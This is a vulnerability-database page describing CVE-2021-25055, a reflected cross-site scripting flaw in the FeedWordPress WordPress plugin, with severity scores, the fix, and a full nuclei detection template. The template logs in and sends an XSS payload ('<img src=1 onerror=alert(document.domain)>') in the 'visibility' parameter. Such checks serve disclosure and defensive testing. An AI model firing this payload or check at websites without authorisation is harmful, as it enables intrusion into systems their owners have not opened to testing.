HexBrain

Browse / CVEs / CVE-2021-25055

CVE-2021-25055· feedwordpress project / feedwordpress· CWE-79

WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting

mediumseverity
6.1CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

The plugin is affected by a cross-site scripting vulnerability within the "visibility" parameter.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.

Fix

Update to the latest version of the FeedWordPress plugin (version 2022.0123 or higher) to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E
Positive when: contains "<img src=1 onerror=alert(document.domain)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25055 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-25055

info:
  name: WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    The plugin is affected by a cross-site scripting vulnerability within the "visibility" parameter.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.
  remediation: |
    Update to the latest version of the FeedWordPress plugin (version 2022.0123 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25055
    - https://plugins.trac.wordpress.org/changeset/2662665
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25055
    cwe-id: CWE-79
    epss-score: 0.0201
    epss-percentile: 0.81035
    cpe: cpe:2.3:a:feedwordpress_project:feedwordpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: feedwordpress_project
    product: feedwordpress
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,authenticated,wpscan,feedwordpress_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=1 onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from